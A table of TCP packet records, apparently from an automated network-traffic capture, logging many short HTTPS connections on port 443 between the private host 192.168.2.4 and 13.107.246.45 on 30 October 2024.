Oct 30, 2024 07:28:49.214253902 CET	443	50081	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.214335918 CET	50082	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.214360952 CET	443	50082	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.757364988 CET	443	50078	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.757817030 CET	50078	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.757826090 CET	443	50078	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.758472919 CET	50078	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.758477926 CET	443	50078	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.849098921 CET	443	50079	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.849570990 CET	50079	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.849617004 CET	443	50079	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.850002050 CET	50079	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.850013018 CET	443	50079	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.889516115 CET	443	50078	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.889677048 CET	443	50078	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.889751911 CET	50078	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.891869068 CET	443	50080	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.895873070 CET	50078	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.895895004 CET	443	50078	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.895909071 CET	50078	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.895915031 CET	443	50078	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.896267891 CET	50080	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.896286011 CET	443	50080	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.897207975 CET	50080	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.897213936 CET	443	50080	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.898880959 CET	50083	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.898972988 CET	443	50083	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.899049044 CET	50083	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.899184942 CET	50083	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.899224043 CET	443	50083	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.957137108 CET	443	50082	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.957787037 CET	50082	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.957825899 CET	443	50082	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.958214998 CET	50082	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.958225012 CET	443	50082	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.982785940 CET	443	50079	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.982825041 CET	443	50079	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.982893944 CET	443	50079	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.982948065 CET	50079	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.982990980 CET	50079	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.983238935 CET	50079	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.983273029 CET	443	50079	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.983310938 CET	50079	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.983325005 CET	443	50079	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.986350060 CET	50084	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.986394882 CET	443	50084	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:49.986491919 CET	50084	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.986639977 CET	50084	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:49.986648083 CET	443	50084	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.022372961 CET	443	50080	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.022528887 CET	443	50080	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.022631884 CET	50080	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.022877932 CET	50080	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.022877932 CET	50080	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.022912025 CET	443	50080	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.022927999 CET	443	50080	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.025758028 CET	50085	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.025827885 CET	443	50085	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.025935888 CET	50085	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.026118040 CET	50085	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.026132107 CET	443	50085	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.086242914 CET	443	50082	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.086323977 CET	443	50082	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.086489916 CET	50082	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.086585999 CET	50082	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.086605072 CET	443	50082	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.086622953 CET	50082	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.086627960 CET	443	50082	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.089858055 CET	50086	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.089967966 CET	443	50086	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.090101004 CET	50086	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.090224981 CET	50086	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.090253115 CET	443	50086	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.168308020 CET	443	50081	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.168910980 CET	50081	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.168988943 CET	443	50081	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.169411898 CET	50081	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.169426918 CET	443	50081	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.299710989 CET	443	50081	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.299746037 CET	443	50081	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.299822092 CET	443	50081	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.299884081 CET	50081	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.299926043 CET	50081	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.300183058 CET	50081	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.300204039 CET	443	50081	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.300215006 CET	50081	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.300220966 CET	443	50081	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.303380966 CET	50087	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.303441048 CET	443	50087	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.303539038 CET	50087	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.303700924 CET	50087	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.303710938 CET	443	50087	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.668262005 CET	443	50083	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.668787956 CET	50083	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.668831110 CET	443	50083	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.669245958 CET	50083	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.669253111 CET	443	50083	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.719914913 CET	443	50084	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.720484972 CET	50084	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.720515013 CET	443	50084	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.721041918 CET	50084	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.721049070 CET	443	50084	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.766434908 CET	443	50085	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.767050028 CET	50085	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.767087936 CET	443	50085	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.767584085 CET	50085	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.767592907 CET	443	50085	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.807226896 CET	443	50083	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.807400942 CET	443	50083	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.807642937 CET	50083	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.807770967 CET	50083	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.807799101 CET	443	50083	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.807826042 CET	50083	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.807840109 CET	443	50083	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.810848951 CET	50088	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.810908079 CET	443	50088	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.811002970 CET	50088	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.811167002 CET	50088	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.811177969 CET	443	50088	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.818205118 CET	443	50086	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.818698883 CET	50086	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.818747997 CET	443	50086	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.819133043 CET	50086	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.819147110 CET	443	50086	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.853301048 CET	443	50084	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.853343964 CET	443	50084	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.853465080 CET	443	50084	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.853677988 CET	50084	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.853677988 CET	50084	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.853897095 CET	50084	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.853929043 CET	443	50084	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.853955984 CET	50084	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.853971004 CET	443	50084	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.857146978 CET	50089	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.857187033 CET	443	50089	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.857302904 CET	50089	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.857472897 CET	50089	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.857487917 CET	443	50089	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.896142960 CET	443	50085	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.896225929 CET	443	50085	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.896358967 CET	443	50085	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.896435976 CET	50085	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.896495104 CET	50085	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.896625996 CET	50085	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.896666050 CET	443	50085	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.896693945 CET	50085	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.896709919 CET	443	50085	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.899730921 CET	50090	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.899785042 CET	443	50090	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.899868011 CET	50090	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.900042057 CET	50090	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.900064945 CET	443	50090	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.946336031 CET	443	50086	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.946382999 CET	443	50086	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.946512938 CET	443	50086	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.946511030 CET	50086	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.946625948 CET	50086	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.946722031 CET	50086	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.946763039 CET	443	50086	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.946805954 CET	50086	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.946821928 CET	443	50086	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.949563980 CET	50091	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.949599028 CET	443	50091	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:50.949681997 CET	50091	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.949832916 CET	50091	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:50.949847937 CET	443	50091	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.031387091 CET	443	50087	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.035015106 CET	50087	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.035060883 CET	443	50087	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.035502911 CET	50087	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.035515070 CET	443	50087	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.161297083 CET	443	50087	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.161326885 CET	443	50087	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.161387920 CET	443	50087	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.161395073 CET	50087	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.161452055 CET	50087	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.161686897 CET	50087	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.161726952 CET	443	50087	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.161753893 CET	50087	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.161767960 CET	443	50087	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.164604902 CET	50092	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.164647102 CET	443	50092	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.164715052 CET	50092	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.164841890 CET	50092	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.164853096 CET	443	50092	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.545613050 CET	443	50088	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.546917915 CET	50088	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.546946049 CET	443	50088	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.547411919 CET	50088	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.547416925 CET	443	50088	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.590611935 CET	443	50089	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.594945908 CET	50089	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.594958067 CET	443	50089	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.595423937 CET	50089	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.595428944 CET	443	50089	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.636010885 CET	443	50090	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.637101889 CET	50090	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.637121916 CET	443	50090	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.637545109 CET	50090	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.637550116 CET	443	50090	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.676606894 CET	443	50088	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.676788092 CET	443	50088	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.676914930 CET	50088	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.677103043 CET	50088	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.677123070 CET	443	50088	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.677134037 CET	50088	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.677139044 CET	443	50088	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.679754019 CET	50093	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.679805040 CET	443	50093	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.679918051 CET	50093	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.680047035 CET	50093	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.680053949 CET	443	50093	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.690385103 CET	443	50091	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.690818071 CET	50091	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.690843105 CET	443	50091	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.691278934 CET	50091	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.691284895 CET	443	50091	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.765281916 CET	443	50090	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.765362024 CET	443	50090	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.765423059 CET	50090	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.765644073 CET	50090	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.765662909 CET	443	50090	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.765674114 CET	50090	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.765681028 CET	443	50090	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.768415928 CET	50094	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.768456936 CET	443	50094	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.768646002 CET	50094	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.768816948 CET	50094	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.768834114 CET	443	50094	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.821360111 CET	443	50091	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.821528912 CET	443	50091	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.821752071 CET	50091	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.821926117 CET	50091	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.821926117 CET	50091	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.821945906 CET	443	50091	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.821957111 CET	443	50091	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.824616909 CET	50095	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.824709892 CET	443	50095	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.824801922 CET	50095	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.824930906 CET	50095	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.824966908 CET	443	50095	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.908745050 CET	443	50092	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.909425974 CET	50092	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.909456015 CET	443	50092	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:51.909887075 CET	50092	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:51.909895897 CET	443	50092	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.043529987 CET	443	50092	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.043560982 CET	443	50092	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.043621063 CET	50092	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.043636084 CET	443	50092	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.043680906 CET	50092	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.043762922 CET	443	50092	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.043823957 CET	443	50092	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.043870926 CET	50092	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.043931007 CET	50092	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.043946028 CET	443	50092	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.043957949 CET	50092	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.043962955 CET	443	50092	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.046761036 CET	50096	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.046834946 CET	443	50096	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.046921015 CET	50096	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.047041893 CET	50096	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.047058105 CET	443	50096	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.156685114 CET	443	50089	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.156917095 CET	443	50089	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.157016039 CET	50089	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.157058954 CET	50089	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.157078981 CET	443	50089	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.157099009 CET	50089	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.157104015 CET	443	50089	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.159889936 CET	50097	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.159939051 CET	443	50097	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.160023928 CET	50097	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.160192966 CET	50097	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.160208941 CET	443	50097	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.423839092 CET	443	50093	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.427058935 CET	50093	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.427124977 CET	443	50093	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.427501917 CET	50093	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.427517891 CET	443	50093	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.511342049 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.511392117 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.511491060 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.511830091 CET	50098	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.511843920 CET	443	50098	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.513904095 CET	443	50094	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.514832973 CET	50094	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.514858961 CET	443	50094	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.515326977 CET	50094	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.515333891 CET	443	50094	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.557452917 CET	443	50093	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.557485104 CET	443	50093	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.557635069 CET	50093	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.557670116 CET	443	50093	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.557686090 CET	443	50093	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.557737112 CET	50093	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.557806015 CET	50093	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.557822943 CET	443	50093	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.557841063 CET	50093	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.557845116 CET	443	50093	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.559868097 CET	443	50095	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.560424089 CET	50099	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.560468912 CET	443	50099	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.560785055 CET	50095	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.560795069 CET	443	50095	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.560821056 CET	50099	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.560930967 CET	50099	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.560945988 CET	443	50099	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.561256886 CET	50095	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.561261892 CET	443	50095	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.687985897 CET	443	50095	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.688013077 CET	443	50095	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.688098907 CET	50095	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.688107967 CET	443	50095	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.688154936 CET	50095	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.688451052 CET	50095	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.688473940 CET	443	50095	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.688484907 CET	50095	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.688492060 CET	443	50095	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.691796064 CET	50100	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.691823006 CET	443	50100	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.691901922 CET	50100	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.692087889 CET	50100	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.692125082 CET	443	50100	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.754743099 CET	443	50094	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.754765034 CET	443	50094	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.754790068 CET	443	50094	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.754832983 CET	50094	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.754849911 CET	443	50094	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.754863024 CET	50094	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.754903078 CET	50094	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.764754057 CET	443	50094	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.764828920 CET	443	50094	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.764847040 CET	50094	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.764933109 CET	50094	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.764933109 CET	50094	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.764952898 CET	443	50094	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:52.765137911 CET	50094	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.765137911 CET	50094	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:52.765146017 CET	443	50094	13.107.246.45	192.168.2.4
